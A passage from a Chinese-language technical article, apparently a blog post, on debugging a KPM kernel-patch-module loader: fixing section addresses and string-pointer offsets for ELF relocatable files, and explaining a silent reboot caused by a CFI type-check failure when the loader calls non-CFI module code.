段设置 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf="">，让它们指向文件缓冲区中的原始位置：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1912" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">; i &lt; shnum; i++) {</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!(info-&gt;sechdrs[i].sh_flags &amp; SHF_ALLOC)) {</span><span leaf=""><br/></span><span leaf="">        info-&gt;sechdrs[i].sh_addr =</span><span leaf=""><br/></span><span leaf="">            (</span><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf="">)info-&gt;hdr + info-&gt;sechdrs[i].sh_offset;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-line="1991" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ET_REL 文件中的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sh_addr</span></code><span leaf=""> 不能直接相信。自己写 loader 时，非 ALLOC 段也必须拥有一个可访问的内存地址。否则符号表、字符串表、relocation 表都会在运行时访问失败。</span></p><p data-line="1993" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 28：字符串指针转换的 section 偏移陷阱</span></p><p data-line="1995" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM 加载成功，但 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">dmesg</span></code><span leaf=""> 显示：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1927" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">loading module &#39;&#39; version &#39;&#39;</span></code></pre><p data-line="2001" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">模块名和版本号都是空字符串。但检查 KPM 文件中的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.kpm.info</span></code><span leaf=""> 段，字符串明明存在。在 ELF 文件解析阶段，KPM 的元数据指针：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">name</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">version</span></code></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">license</span></code></li></ul><p data-line="2007" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">都指向文件缓冲区中的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.kpm.info</span></code><span leaf=""> 段。当 KPM 被搬迁到运行时内存后，需要把这些指针从“文件地址”转换成“运行时地址”。</span></p><p data-line="2009" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">错误写法是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1941" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">mod-&gt;info.name = info-&gt;name - (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *)info-&gt;hdr + mod-&gt;info.base;</span></code></pre><p data-line="2015" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个公式的问题是它以整个 ELF 文件头作为基准，而不是以 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.kpm.info</span></code><span leaf=""> 段起始地址作为基准。实际数据流类似：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1947" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">info-&gt;name      = hdr + section_offset + string_offset</span><span leaf=""><br/></span><span leaf="">info-&gt;hdr       = hdr</span><span leaf=""><br/></span><span leaf="">mod-&gt;info.base  = runtime 中 .kpm.info 段地址</span></code></pre><p data-line="2023" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">错误公式会把 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">section_offset</span></code><span leaf=""> 也加进运行时地址里，导致最终指针偏移过头。必须以 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.kpm.info</span></code><span leaf=""> 段在文件中的起始地址为基准：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1955" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">long</span></span><span leaf=""> info_sec_offset = info-&gt;sechdrs[info-&gt;info_idx].sh_offset;</span><span leaf=""><br/></span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *info_file_base =</span><span leaf=""><br/></span><span leaf="">    (</span><span style="color: rgb(163, 21, 21);"><span leaf="">const</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> *)info-&gt;hdr + info_sec_offset;</span><span leaf=""><br/></span><span leaf="">mod-&gt;info.name =</span><span leaf=""><br/></span><span leaf="">    info-&gt;name - info_file_base + mod-&gt;info.base;</span><span leaf=""><br/></span><span leaf="">mod-&gt;info.version =</span><span leaf=""><br/></span><span leaf="">    info-&gt;version - info_file_base + mod-&gt;info.base;</span><span leaf=""><br/></span><span leaf="">mod-&gt;info.license =</span><span leaf=""><br/></span><span leaf="">    info-&gt;license - info_file_base + mod-&gt;info.base;</span></code></pre><p data-line="2041" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">文件地址转换成运行时地址时，减法基准必须正确。如果指针指向 section 内部，就必须减去：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1973" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">hdr + section_offset</span></code></pre><p data-line="2047" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而不是只减去：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1979" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">hdr</span></code></pre><h3 data-line="2073" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">CFI、BTI与异构代码边界</span></h3><p data-line="2055" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 29：CFI 保护代码调用非 CFI KPM 的边界问题</span></p><p data-line="2057" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">KPM 加载流程全部完成，section 搬迁和 relocation 都正确。但在调用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1989" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">kpm_init()</span></code></pre><p data-line="2063" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">时设备静默重启。最后一条日志停在：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="1995" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">icache flushed, about to call KPM init</span></code></pre><p data-line="2069" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">之后没有更多 dmesg。KPM Loader 自身是用 CFI_ICALL + LTO 编译的。这意味着 loader 中通过函数指针发起的间接调用，会被编译器插入 CFI 检查。而 KPM 二进制没有使用相同的 CFI 体系编译。于是当 loader 调用：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2001" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">fn(args, event, reserved);</span></code></pre><p data-line="2075" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">时，编译器会插入类型检查：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2007" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">检查目标函数是否拥有匹配的 CFI 类型信息</span></code></pre><p data-line="2081" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但 KPM 的入口函数没有对应的 CFI 信息，于是触发 CFI failure。更复杂的是，CFI 问题并不只存在于：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2013" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">loader → KPM</span></code></pre><p data-line="2087" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这一条路径。还会存在于：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="2019" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">KPM → KPM 内部函数指针</span><span leaf=""><br/></span><span leaf="">内核 → KPM 注册的回调</span><span leaf=""><br/></span><span leaf="">KPM thunk / trampoline → 非标准代码页</span></code></pre><p data-line="2095" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, 